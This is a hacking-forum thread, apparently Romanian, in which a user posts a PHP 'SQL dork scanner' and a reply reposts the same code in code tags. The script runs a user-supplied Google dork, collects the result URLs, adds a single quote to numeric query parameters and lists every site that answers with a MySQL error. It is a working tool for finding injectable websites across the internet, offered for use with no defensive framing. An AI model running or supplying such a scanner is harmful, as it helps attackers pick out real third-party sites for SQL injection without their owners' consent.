Jump to content
perl udp.pl

sql dork scanner (php)

Recommended Posts

Posted (edited)

<?php

error_reporting(0);

ini_set('default_socket_timeout', 10);

set_time_limit(0);

function getLinksG($dork){

$engine = 'http://google.pl';

$code = file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100");

for($i = 1; $i < 20; $i++)

$code .= file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100&start=".$i."00&filter=0");

preg_match_all('/<a href="([^ ]+)" class=l/ei', $code, $links);

unset($code);

$url = array();

foreach($links[1] as $l => $u){

if(!in_array($u, $url))

array_push($url, $u);

}

return $url;

}

function checkBug($link){

$code = file_get_contents("$link");

if(stristr($code, 'mysql') || stristr($code, 'sql syntax'))

return $link;

return false;

}

function link2sql($link){

$url = parse_url($link);

if(!empty($url['query'])){

$query = preg_replace('/\=([0-9]+)/', "=\\1'", $url['query']);

return checkBug("http://{$url['host']}{$url['path']}?$query");

}

return false;

}

echo "<pre>";

$li = getLinksG($_GET['d']);

foreach( $li as $k => $l){

$b = link2sql($l);

if($b != false) echo "$b\n";

flush(stdout);

}

?>

Edited by perl udp.pl
Posted
Pune codul intre [ code] [ / code] Fara spatii

<=>


<?php
error_reporting(0);
ini_set('default_socket_timeout', 10);
set_time_limit(0);
function getLinksG($dork){
$engine = 'http://google.pl';
$code = file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100");
for($i = 1; $i < 20; $i++)
$code .= file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100&start=".$i."00&filter=0");
preg_match_all('/<a href="([^ ]+)" class=l/ei', $code, $links);
unset($code);
$url = array();
foreach($links[1] as $l => $u){
if(!in_array($u, $url))
array_push($url, $u);
}
return $url;
}
function checkBug($link){
$code = file_get_contents("$link");
if(stristr($code, 'mysql') || stristr($code, 'sql syntax'))
return $link;
return false;
}
function link2sql($link){
$url = parse_url($link);
if(!empty($url['query'])){
$query = preg_replace('/\=([0-9]+)/', "=\\1'", $url['query']);
return checkBug("http://{$url['host']}{$url['path']}?$query");
}
return false;
}
echo "<pre>";
$li = getLinksG($_GET['d']);
foreach( $li as $k => $l){
$b = link2sql($l);
if($b != false) echo "$b\n";
flush(stdout);
}
?>

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...